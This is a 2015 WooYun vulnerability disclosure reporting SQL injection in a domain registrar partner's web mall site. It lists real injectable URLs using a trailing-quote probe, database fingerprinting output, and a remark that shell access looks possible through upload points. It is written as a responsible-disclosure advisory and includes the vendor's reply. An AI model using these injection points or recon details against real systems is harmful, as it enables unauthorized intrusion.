漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0115228
漏洞标题：域名商安全之华夏名网某站多处SQL注入(直入后台管理可Shell)
相关厂商：华夏名网
漏洞作者： 管管侠
提交时间：2015-05-20 22:12
修复时间：2015-07-05 11:42
公开时间：2015-07-05 11:42
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-20： 细节已通知厂商并且等待厂商处理中
2015-05-21： 厂商已经确认，细节仅向厂商公开
2015-05-31： 细节向核心白帽子及相关领域专家公开
2015-06-10： 细节向普通白帽子公开
2015-06-20： 细节向实习白帽子公开
2015-07-05： 细节向公众公开
简要描述：
域名商安全
详细说明：
http://web.sudu.cn/webmall/query.php?typeid=6'
http://web.sudu.cn/webmall/detail.php?id=98'
http://web.sudu.cn/webmall/query.php?page=3&catid=10&typeid=0&myord=1&myshownums=1&author=1&fromprice=1&toprice=1&key=1'
叫个参数就是SQL注入
Target: http://web.sudu.cn/webmall/query.php?typeid=6
Host IP: 119.147.102.16
Web Server: nginx
Powered-by: PHP/5.2.9
DB Server: MySQL error based
Resp. Time(avg): 1126 ms
Sql Version: 5.1.63-log
Current DB: s469782db0
Host Name: cd812.gotoip.net
Installation dir: /usr/local/mysql/
Compile OS: unknown-linux-gnu
漏洞证明：
可以多姿势shell
1.路径爆出来了，配合sql注入可shell
2.这系统后台多个上传点，也是可shell
就不搞了，应该不涉及核心内容
这系统小看了下，倒出都是注入点
修复方案：
加油！
10rank应该还是值的，厂商不要太吝啬才好吖
版权声明：转载请注明来源 管管侠@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2015-05-21 11:41
厂商回复：
由我公司合作服务商独立提供的网站，我公司负责指向域名，不影响我公司主站用户安全.目前我们已经关闭了这个指向，将漏洞提交给了合作服务商，等待他们修复后开放
最新状态：
暂无